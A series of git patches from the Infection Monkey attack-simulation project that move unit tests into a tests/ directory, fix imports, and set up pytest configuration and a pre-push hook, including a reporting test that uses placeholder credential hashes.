--git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py rename to monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py rename to monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py rename to monkey/tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py diff --git a/monkey/monkey_island/cc/test_consts.py b/monkey/tests/monkey_island/cc/test_consts.py similarity index 100% rename from monkey/monkey_island/cc/test_consts.py rename to monkey/tests/monkey_island/cc/test_consts.py diff --git a/monkey/monkey_island/cc/test_encryptor.py b/monkey/tests/monkey_island/cc/test_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/test_encryptor.py rename to monkey/tests/monkey_island/cc/test_encryptor.py From c08dbf937608da1c664c15e70d732045ae8a467b Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 16 Apr 2021 13:17:32 +0530 Subject: [PATCH 0236/1360] Move conftest files to tests/ directory --- monkey/{ => tests}/infection_monkey/telemetry/tests/conftest.py | 0 monkey/{ => tests}/monkey_island/cc/conftest.py | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename monkey/{ => tests}/infection_monkey/telemetry/tests/conftest.py (100%) rename monkey/{ => tests}/monkey_island/cc/conftest.py (100%) diff --git a/monkey/infection_monkey/telemetry/tests/conftest.py b/monkey/tests/infection_monkey/telemetry/tests/conftest.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/conftest.py rename to monkey/tests/infection_monkey/telemetry/tests/conftest.py diff --git a/monkey/monkey_island/cc/conftest.py b/monkey/tests/monkey_island/cc/conftest.py similarity index 100% rename from monkey/monkey_island/cc/conftest.py rename to monkey/tests/monkey_island/cc/conftest.py From f8936f61bba88f05d6884aaf5f5d864e5970fd36 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 16 Apr 2021 13:19:39 +0530 Subject: [PATCH 0237/1360] Move all tests for monkey_island/cc/services/reporting/report.py to one file --- .../cc/services/reporting/test_report.py | 116 +++++++++++++++++ .../services/tests/reporting/test_report.py | 117 ------------------ 2 files changed, 116 insertions(+), 117 deletions(-) delete mode 100644 monkey/tests/monkey_island/cc/services/tests/reporting/test_report.py diff --git a/monkey/tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/monkey_island/cc/services/reporting/test_report.py index cf446c7570d..cbc9777d36b 100644 --- a/monkey/tests/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/tests/monkey_island/cc/services/reporting/test_report.py @@ -1,8 +1,81 @@ import datetime from copy import deepcopy +import mongomock +import pytest +from bson import ObjectId + from monkey_island.cc.services.reporting.report import ReportService +TELEM_ID = { + "exploit_creds": ObjectId(b"123456789000"), + "system_info_creds": ObjectId(b"987654321000"), + "no_creds": ObjectId(b"112233445566"), + "monkey": ObjectId(b"665544332211"), +} +MONKEY_GUID = "67890" +USER = "user-name" +PWD = "password123" +LM_HASH = "e52cac67419a9a22664345140a852f61" +NT_HASH = "a9fdfa038c4b75ebc76dc855dd74f0da" +VICTIM_IP = "0.0.0.0" +VICTIM_DOMAIN_NAME = "domain-name" +HOSTNAME = "name-of-host" +EXPLOITER_CLASS_NAME = "exploiter-name" + +# Below telem constants only contain fields relevant to current tests + +EXPLOIT_TELEMETRY_TELEM = { + "_id": TELEM_ID["exploit_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "exploit", + "data": { + "machine": { + "ip_addr": VICTIM_IP, + "domain_name": VICTIM_DOMAIN_NAME, + }, + "info": { + "credentials": { + USER: { + "username": USER, + "lm_hash": LM_HASH, + "ntlm_hash": NT_HASH, + } + } + }, + }, +} + +SYSTEM_INFO_TELEMETRY_TELEM = { + "_id": TELEM_ID["system_info_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "system_info", + "data": { + "credentials": { + USER: { + "password": PWD, + "lm_hash": LM_HASH, + "ntlm_hash": NT_HASH, + } + } + }, +} + +NO_CREDS_TELEMETRY_TELEM = { + "_id": TELEM_ID["no_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "exploit", + "data": { + "machine": { + "ip_addr": VICTIM_IP, + "domain_name": VICTIM_DOMAIN_NAME, + }, + "info": {"credentials": {}}, + }, +} + +MONKEY_TELEM = {"_id": TELEM_ID["monkey"], "guid": MONKEY_GUID, "hostname": HOSTNAME} + NODE_DICT = { "id": "602f62118e30cf35830ff8e4", "label": "WinDev2010Eval.mshome.net", @@ -51,6 +124,49 @@ NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False +@pytest.fixture +def fake_mongo(monkeypatch): + mongo = mongomock.MongoClient() + monkeypatch.setattr("monkey_island.cc.services.reporting.report.mongo", mongo) + monkeypatch.setattr("monkey_island.cc.services.node.mongo", mongo) + return mongo + + +def test_get_stolen_creds_exploit(fake_mongo): + fake_mongo.db.telemetry.insert_one(EXPLOIT_TELEMETRY_TELEM) + + stolen_creds_exploit = ReportService.get_stolen_creds() + expected_stolen_creds_exploit = [ + {"origin": VICTIM_DOMAIN_NAME, "type": "LM hash", "username": USER}, + {"origin": VICTIM_DOMAIN_NAME, "type": "NTLM hash", "username": USER}, + ] + + assert expected_stolen_creds_exploit == stolen_creds_exploit + + +def test_get_stolen_creds_system_info(fake_mongo): + fake_mongo.db.monkey.insert_one(MONKEY_TELEM) + fake_mongo.db.telemetry.insert_one(SYSTEM_INFO_TELEMETRY_TELEM) + + stolen_creds_system_info = ReportService.get_stolen_creds() + expected_stolen_creds_system_info = [ + {"origin": HOSTNAME, "type": "Clear Password", "username": USER}, + {"origin": HOSTNAME, "type": "LM hash", "username": USER}, + {"origin": HOSTNAME, "type": "NTLM hash", "username": USER}, + ] + + assert expected_stolen_creds_system_info == stolen_creds_system_info + + +def test_get_stolen_creds_no_creds(fake_mongo): + fake_mongo.db.telemetry.insert_one(NO_CREDS_TELEMETRY_TELEM) + + stolen_creds_no_creds = ReportService.get_stolen_creds() + expected_stolen_creds_no_creds = [] + + assert expected_stolen_creds_no_creds == stolen_creds_no_creds + + def test_get_exploits_used_on_node(): exploits = ReportService.get_exploits_used_on_node(NODE_DICT) assert sorted(exploits) == sorted(["Elastic Groovy Exploiter", "Drupal Server Exploiter"]) diff --git a/monkey/tests/monkey_island/cc/services/tests/reporting/test_report.py b/monkey/tests/monkey_island/cc/services/tests/reporting/test_report.py deleted file mode 100644 index 65f5d275861..00000000000 --- a/monkey/tests/monkey_island/cc/services/tests/reporting/test_report.py +++ /dev/null @@ -1,117 +0,0 @@ -import mongomock -import pytest -from bson import ObjectId - -from monkey_island.cc.services.reporting.report import ReportService - -TELEM_ID = { - "exploit_creds": ObjectId(b"123456789000"), - "system_info_creds": ObjectId(b"987654321000"), - "no_creds": ObjectId(b"112233445566"), - "monkey": ObjectId(b"665544332211"), -} -MONKEY_GUID = "67890" -USER = "user-name" -PWD = "password123" -LM_HASH = "e52cac67419a9a22664345140a852f61" -NT_HASH = "a9fdfa038c4b75ebc76dc855dd74f0da" -VICTIM_IP = "0.0.0.0" -VICTIM_DOMAIN_NAME = "domain-name" -HOSTNAME = "name-of-host" -EXPLOITER_CLASS_NAME = "exploiter-name" - -# Below telem constants only contain fields relevant to current tests - -EXPLOIT_TELEMETRY_TELEM = { - "_id": TELEM_ID["exploit_creds"], - "monkey_guid": MONKEY_GUID, - "telem_category": "exploit", - "data": { - "machine": { - "ip_addr": VICTIM_IP, - "domain_name": VICTIM_DOMAIN_NAME, - }, - "info": { - "credentials": { - USER: { - "username": USER, - "lm_hash": LM_HASH, - "ntlm_hash": NT_HASH, - } - } - }, - }, -} - -SYSTEM_INFO_TELEMETRY_TELEM = { - "_id": TELEM_ID["system_info_creds"], - "monkey_guid": MONKEY_GUID, - "telem_category": "system_info", - "data": { - "credentials": { - USER: { - "password": PWD, - "lm_hash": LM_HASH, - "ntlm_hash": NT_HASH, - } - } - }, -} - -NO_CREDS_TELEMETRY_TELEM = { - "_id": TELEM_ID["no_creds"], - "monkey_guid": MONKEY_GUID, - "telem_category": "exploit", - "data": { - "machine": { - "ip_addr": VICTIM_IP, - "domain_name": VICTIM_DOMAIN_NAME, - }, - "info": {"credentials": {}}, - }, -} - -MONKEY_TELEM = {"_id": TELEM_ID["monkey"], "guid": MONKEY_GUID, "hostname": HOSTNAME} - - -@pytest.fixture -def fake_mongo(monkeypatch): - mongo = mongomock.MongoClient() - monkeypatch.setattr("monkey_island.cc.services.reporting.report.mongo", mongo) - monkeypatch.setattr("monkey_island.cc.services.node.mongo", mongo) - return mongo - - -def test_get_stolen_creds_exploit(fake_mongo): - fake_mongo.db.telemetry.insert_one(EXPLOIT_TELEMETRY_TELEM) - - stolen_creds_exploit = ReportService.get_stolen_creds() - expected_stolen_creds_exploit = [ - {"origin": VICTIM_DOMAIN_NAME, "type": "LM hash", "username": USER}, - {"origin": VICTIM_DOMAIN_NAME, "type": "NTLM hash", "username": USER}, - ] - - assert expected_stolen_creds_exploit == stolen_creds_exploit - - -def test_get_stolen_creds_system_info(fake_mongo): - fake_mongo.db.monkey.insert_one(MONKEY_TELEM) - fake_mongo.db.telemetry.insert_one(SYSTEM_INFO_TELEMETRY_TELEM) - - stolen_creds_system_info = ReportService.get_stolen_creds() - expected_stolen_creds_system_info = [ - {"origin": HOSTNAME, "type": "Clear Password", "username": USER}, - {"origin": HOSTNAME, "type": "LM hash", "username": USER}, - {"origin": HOSTNAME, "type": "NTLM hash", "username": USER}, - ] - - assert expected_stolen_creds_system_info == stolen_creds_system_info - - -def test_get_stolen_creds_no_creds(fake_mongo): - fake_mongo.db.telemetry.insert_one(NO_CREDS_TELEMETRY_TELEM) - - stolen_creds_no_creds = ReportService.get_stolen_creds() - expected_stolen_creds_no_creds = [] - - assert expected_stolen_creds_no_creds == stolen_creds_no_creds From a2115e4254861f24af77af5aa820252a54a37b32 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 16 Apr 2021 13:20:04 +0530 Subject: [PATCH 0238/1360] Fix imports for unit test files --- monkey/tests/common/cloud/aws/test_aws_service.py | 2 +- monkey/tests/infection_monkey/exploit/tools/test_payload.py | 2 +- monkey/tests/monkey_island/cc/models/test_monkey.py | 5 ++--- .../cc/services/telemetry/processing/test_post_breach.py | 3 +-- 4 files changed, 5 insertions(+), 7 deletions(-) diff --git a/monkey/tests/common/cloud/aws/test_aws_service.py b/monkey/tests/common/cloud/aws/test_aws_service.py index 95fa6329b56..33dc40b546f 100644 --- a/monkey/tests/common/cloud/aws/test_aws_service.py +++ b/monkey/tests/common/cloud/aws/test_aws_service.py @@ -1,7 +1,7 @@ import json from unittest import TestCase -from .aws_service import filter_instance_data_from_aws_response +from common.cloud.aws.aws_service import filter_instance_data_from_aws_response __author__ = "shay.nehmad" diff --git a/monkey/tests/infection_monkey/exploit/tools/test_payload.py b/monkey/tests/infection_monkey/exploit/tools/test_payload.py index 18dcf6df244..2656a7adae5 100644 --- a/monkey/tests/infection_monkey/exploit/tools/test_payload.py +++ b/monkey/tests/infection_monkey/exploit/tools/test_payload.py @@ -1,6 +1,6 @@ from unittest import TestCase -from .payload_parsing import LimitedSizePayload, Payload +from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload, Payload class TestPayload(TestCase): diff --git a/monkey/tests/monkey_island/cc/models/test_monkey.py b/monkey/tests/monkey_island/cc/models/test_monkey.py index 92ad2fb909c..542309ae589 100644 --- a/monkey/tests/monkey_island/cc/models/test_monkey.py +++ b/monkey/tests/monkey_island/cc/models/test_monkey.py @@ -5,9 +5,8 @@ import pytest from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError - -from ..test_common.fixtures import FixtureEnum -from .monkey_ttl import MonkeyTtl +from monkey_island.cc.models.monkey_ttl import MonkeyTtl +from monkey_island.cc.test_common.fixtures import FixtureEnum logger = logging.getLogger(__name__) diff --git a/monkey/tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py b/monkey/tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py index 88233911969..f6d33b930f7 100644 --- a/monkey/tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py +++ b/monkey/tests/monkey_island/cc/services/telemetry/processing/test_post_breach.py @@ -1,8 +1,7 @@ from unittest.mock import Mock import monkey_island.cc.services.telemetry.processing.post_breach as post_breach - -from .post_breach import EXECUTION_WITHOUT_OUTPUT +from monkey_island.cc.services.telemetry.processing.post_breach import EXECUTION_WITHOUT_OUTPUT original_telem_multiple_results = { "data": { From 468019337558b6cfd5d4da346181073fd46a1cb2 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 16 Apr 2021 13:30:05 +0530 Subject: [PATCH 0239/1360] Put unit test files in the right directories Some test files were in their own "tests/" directory. Deleted the extra "tests/" directories. --- .../tests/infection_monkey/exploit/{tests => }/test_zerologon.py | 0 .../exploit/{tests => }/zerologon_utils/test_vuln_assessment.py | 0 .../post_breach/{tests => }/actions/test_users_custom_pba.py | 0 .../telemetry/{tests => }/attack/test_attack_telem.py | 0 .../telemetry/{tests => }/attack/test_t1005_telem.py | 0 .../telemetry/{tests => }/attack/test_t1035_telem.py | 0 .../telemetry/{tests => }/attack/test_t1064_telem.py | 0 .../telemetry/{tests => }/attack/test_t1105_telem.py | 0 .../telemetry/{tests => }/attack/test_t1106_telem.py | 0 .../telemetry/{tests => }/attack/test_t1107_telem.py | 0 .../telemetry/{tests => }/attack/test_t1129_telem.py | 0 .../telemetry/{tests => }/attack/test_t1197_telem.py | 0 .../telemetry/{tests => }/attack/test_t1222_telem.py | 0 .../telemetry/{tests => }/attack/test_usage_telem.py | 0 .../telemetry/{tests => }/attack/test_victim_host_telem.py | 0 monkey/tests/infection_monkey/telemetry/{tests => }/conftest.py | 0 .../infection_monkey/telemetry/{tests => }/test_exploit_telem.py | 0 .../telemetry/{tests => }/test_post_breach_telem.py | 0 .../infection_monkey/telemetry/{tests => }/test_scan_telem.py | 0 .../infection_monkey/telemetry/{tests => }/test_state_telem.py | 0 .../telemetry/{tests => }/test_system_info_telem.py | 0 .../infection_monkey/telemetry/{tests => }/test_trace_telem.py | 0 .../infection_monkey/telemetry/{tests => }/test_tunnel_telem.py | 0 monkey/tests/monkey_island/cc/services/{tests => }/test_config.py | 0 24 files changed, 0 insertions(+), 0 deletions(-) rename monkey/tests/infection_monkey/exploit/{tests => }/test_zerologon.py (100%) rename monkey/tests/infection_monkey/exploit/{tests => }/zerologon_utils/test_vuln_assessment.py (100%) rename monkey/tests/infection_monkey/post_breach/{tests => }/actions/test_users_custom_pba.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/attack/test_attack_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/attack/test_t1005_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/attack/test_t1035_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/attack/test_t1064_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/attack/test_t1105_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/attack/test_t1106_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/attack/test_t1107_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/attack/test_t1129_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/attack/test_t1197_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/attack/test_t1222_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/attack/test_usage_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/attack/test_victim_host_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/conftest.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/test_exploit_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/test_post_breach_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/test_scan_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/test_state_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/test_system_info_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/test_trace_telem.py (100%) rename monkey/tests/infection_monkey/telemetry/{tests => }/test_tunnel_telem.py (100%) rename monkey/tests/monkey_island/cc/services/{tests => }/test_config.py (100%) diff --git a/monkey/tests/infection_monkey/exploit/tests/test_zerologon.py b/monkey/tests/infection_monkey/exploit/test_zerologon.py similarity index 100% rename from monkey/tests/infection_monkey/exploit/tests/test_zerologon.py rename to monkey/tests/infection_monkey/exploit/test_zerologon.py diff --git a/monkey/tests/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py b/monkey/tests/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py similarity index 100% rename from monkey/tests/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py rename to monkey/tests/infection_monkey/exploit/zerologon_utils/test_vuln_assessment.py diff --git a/monkey/tests/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py b/monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py similarity index 100% rename from monkey/tests/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py rename to monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/attack/test_attack_telem.py b/monkey/tests/infection_monkey/telemetry/attack/test_attack_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/attack/test_attack_telem.py rename to monkey/tests/infection_monkey/telemetry/attack/test_attack_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1005_telem.py b/monkey/tests/infection_monkey/telemetry/attack/test_t1005_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/attack/test_t1005_telem.py rename to monkey/tests/infection_monkey/telemetry/attack/test_t1005_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1035_telem.py b/monkey/tests/infection_monkey/telemetry/attack/test_t1035_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/attack/test_t1035_telem.py rename to monkey/tests/infection_monkey/telemetry/attack/test_t1035_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1064_telem.py b/monkey/tests/infection_monkey/telemetry/attack/test_t1064_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/attack/test_t1064_telem.py rename to monkey/tests/infection_monkey/telemetry/attack/test_t1064_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1105_telem.py b/monkey/tests/infection_monkey/telemetry/attack/test_t1105_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/attack/test_t1105_telem.py rename to monkey/tests/infection_monkey/telemetry/attack/test_t1105_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1106_telem.py b/monkey/tests/infection_monkey/telemetry/attack/test_t1106_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/attack/test_t1106_telem.py rename to monkey/tests/infection_monkey/telemetry/attack/test_t1106_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1107_telem.py b/monkey/tests/infection_monkey/telemetry/attack/test_t1107_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/attack/test_t1107_telem.py rename to monkey/tests/infection_monkey/telemetry/attack/test_t1107_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1129_telem.py b/monkey/tests/infection_monkey/telemetry/attack/test_t1129_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/attack/test_t1129_telem.py rename to monkey/tests/infection_monkey/telemetry/attack/test_t1129_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1197_telem.py b/monkey/tests/infection_monkey/telemetry/attack/test_t1197_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/attack/test_t1197_telem.py rename to monkey/tests/infection_monkey/telemetry/attack/test_t1197_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/attack/test_t1222_telem.py b/monkey/tests/infection_monkey/telemetry/attack/test_t1222_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/attack/test_t1222_telem.py rename to monkey/tests/infection_monkey/telemetry/attack/test_t1222_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/attack/test_usage_telem.py b/monkey/tests/infection_monkey/telemetry/attack/test_usage_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/attack/test_usage_telem.py rename to monkey/tests/infection_monkey/telemetry/attack/test_usage_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py b/monkey/tests/infection_monkey/telemetry/attack/test_victim_host_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py rename to monkey/tests/infection_monkey/telemetry/attack/test_victim_host_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/conftest.py b/monkey/tests/infection_monkey/telemetry/conftest.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/conftest.py rename to monkey/tests/infection_monkey/telemetry/conftest.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/test_exploit_telem.py b/monkey/tests/infection_monkey/telemetry/test_exploit_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/test_exploit_telem.py rename to monkey/tests/infection_monkey/telemetry/test_exploit_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/tests/infection_monkey/telemetry/test_post_breach_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/test_post_breach_telem.py rename to monkey/tests/infection_monkey/telemetry/test_post_breach_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/test_scan_telem.py b/monkey/tests/infection_monkey/telemetry/test_scan_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/test_scan_telem.py rename to monkey/tests/infection_monkey/telemetry/test_scan_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/test_state_telem.py b/monkey/tests/infection_monkey/telemetry/test_state_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/test_state_telem.py rename to monkey/tests/infection_monkey/telemetry/test_state_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/test_system_info_telem.py b/monkey/tests/infection_monkey/telemetry/test_system_info_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/test_system_info_telem.py rename to monkey/tests/infection_monkey/telemetry/test_system_info_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/test_trace_telem.py b/monkey/tests/infection_monkey/telemetry/test_trace_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/test_trace_telem.py rename to monkey/tests/infection_monkey/telemetry/test_trace_telem.py diff --git a/monkey/tests/infection_monkey/telemetry/tests/test_tunnel_telem.py b/monkey/tests/infection_monkey/telemetry/test_tunnel_telem.py similarity index 100% rename from monkey/tests/infection_monkey/telemetry/tests/test_tunnel_telem.py rename to monkey/tests/infection_monkey/telemetry/test_tunnel_telem.py diff --git a/monkey/tests/monkey_island/cc/services/tests/test_config.py b/monkey/tests/monkey_island/cc/services/test_config.py similarity index 100% rename from monkey/tests/monkey_island/cc/services/tests/test_config.py rename to monkey/tests/monkey_island/cc/services/test_config.py From dc0e155c316cbdb3c42bc18d02080032bc3e1152 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 19 Apr 2021 17:28:40 +0530 Subject: [PATCH 0240/1360] Add pytest to pre-commit --- .pre-commit-config.yaml | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 2bceacbcc7d..8e668f8b868 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -33,3 +33,13 @@ repos: hooks: - id: eslint args: ["monkey/monkey_island/cc/ui/src/", "--fix", "--max-warnings=0"] + - repo: local + hooks: + - id: pytest + name: pytest + entry: bash -c "cd monkey && pytest" + language: system + pass_filenames: false + # alternatively you could `types: [python]` so it only runs when python files change + # though tests might be invalidated if you were to say change a data file + always_run: true From c37ae1e0eaa5ab3850020f109e6bb7fb9e8f3ed3 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 19 Apr 2021 17:31:01 +0530 Subject: [PATCH 0241/1360] Modify pytest configuration Shift it from monkey/pytest.ini to pyproject.toml. Add conftest.py in tests/ to add monkey directory to sys.path so test files recognize paths. --- monkey/pytest.ini | 7 ------- monkey/tests/conftest.py | 5 +++++ pyproject.toml | 10 ++++++++++ 3 files changed, 15 insertions(+), 7 deletions(-) delete mode 100644 monkey/pytest.ini create mode 100644 monkey/tests/conftest.py diff --git a/monkey/pytest.ini b/monkey/pytest.ini deleted file mode 100644 index 9b1766fc255..00000000000 --- a/monkey/pytest.ini +++ /dev/null @@ -1,7 +0,0 @@ -[pytest] -log_cli = 1 -log_cli_level = DEBUG -log_cli_format = %(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s -log_cli_date_format=%H:%M:%S -addopts = -v --capture=sys --ignore=common/cloud/scoutsuite -norecursedirs = node_modules dist diff --git a/monkey/tests/conftest.py b/monkey/tests/conftest.py new file mode 100644 index 00000000000..12602eae4f9 --- /dev/null +++ b/monkey/tests/conftest.py @@ -0,0 +1,5 @@ +import sys +from pathlib import Path + +MONKEY_BASE_PATH = str(Path(__file__).parent.parent) +sys.path.insert(0, MONKEY_BASE_PATH) diff --git a/pyproject.toml b/pyproject.toml index 077d3aeb8bf..bbf7785365f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -12,3 +12,13 @@ include_trailing_comma = true force_grid_wrap = 0 use_parentheses = true ensure_newline_before_comments = true + +[tool.pytest.ini_options] +minversion = "6.0" +log_cli = 1 +log_cli_level = "DEBUG" +log_cli_format = "%(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s" +log_cli_date_format = "%H:%M:%S" +addopts = "-v --capture=sys" +norecursedirs = "node_modules dist" +testpaths = "monkey/tests" From 3f66e95a90fd2ee73a90888de97db5c3a41fb4d2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 19 Apr 2021 14:39:39 -0400 Subject: [PATCH 0242/1360] Use addopts instead of testpaths to specify path in pytest config The pytest documentation states that the testpaths configuration option "Sets list of directories that should be searched ... when executing pytest from the rootdir directory." Since pytest is not executed from the rootdir directory, testpaths has no effect. Appending the "tests/" directory to the end of addopts reduces the time required to run the test suite by approximately 6 seconds. --- pyproject.toml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index bbf7785365f..0245f12a08c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -19,6 +19,5 @@ log_cli = 1 log_cli_level = "DEBUG" log_cli_format = "%(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s" log_cli_date_format = "%H:%M:%S" -addopts = "-v --capture=sys" +addopts = "-v --capture=sys tests" norecursedirs = "node_modules dist" -testpaths = "monkey/tests" From 83e93928e7bca8b3000aebab2c565f1c3b8cb339 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 19 Apr 2021 14:57:40 -0400 Subject: [PATCH 0243/1360] Only run pytest pre-commit hook when files in monkey/ are modified --- .pre-commit-config.yaml | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 8e668f8b868..33b42663ba0 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -39,7 +39,5 @@ repos: name: pytest entry: bash -c "cd monkey && pytest" language: system - pass_filenames: false - # alternatively you could `types: [python]` so it only runs when python files change - # though tests might be invalidated if you were to say change a data file - always_run: true + files: "monkey/" + exclude: "monkey/monkey_island/cc/ui" From 88a3ab5bf18a2c4811bdb3f4e814916ee9504520 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Tue, 20 Apr 2021 18:49:40 +0530 Subject: [PATCH 0244/1360] Modify pre-commit-config.yaml to make pytest run only pre-push (Run `pre-commit install --hook-type pre-push`) --- .pre-commit-config.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 33b42663ba0..877a1b57d09 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -41,3 +41,4 @@ repos: language: system files: "monkey/" exclude: "monkey/monkey_island/cc/ui" + stages: [push] From 753c0586c150b0d0b4f2d6516bc53c05f2b8c7b3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 20 Apr 2021 11:27:30 -0400 Subject: [PATCH 0245/1360] cc: Move config files and other testing resources to tests/ dir --- monkey/tests/conftest.py | 46 +++++++++++++++++++ .../cc/environment/test_environment.py | 40 ++++++++++++---- .../cc/environment/test_environment_config.py | 45 +++++++----------- .../cc/server_utils/test_island_logger.py | 12 ++--- .../tests/monkey_island/cc/test_encryptor.py | 14 +++--- .../server_config_no_credentials.json | 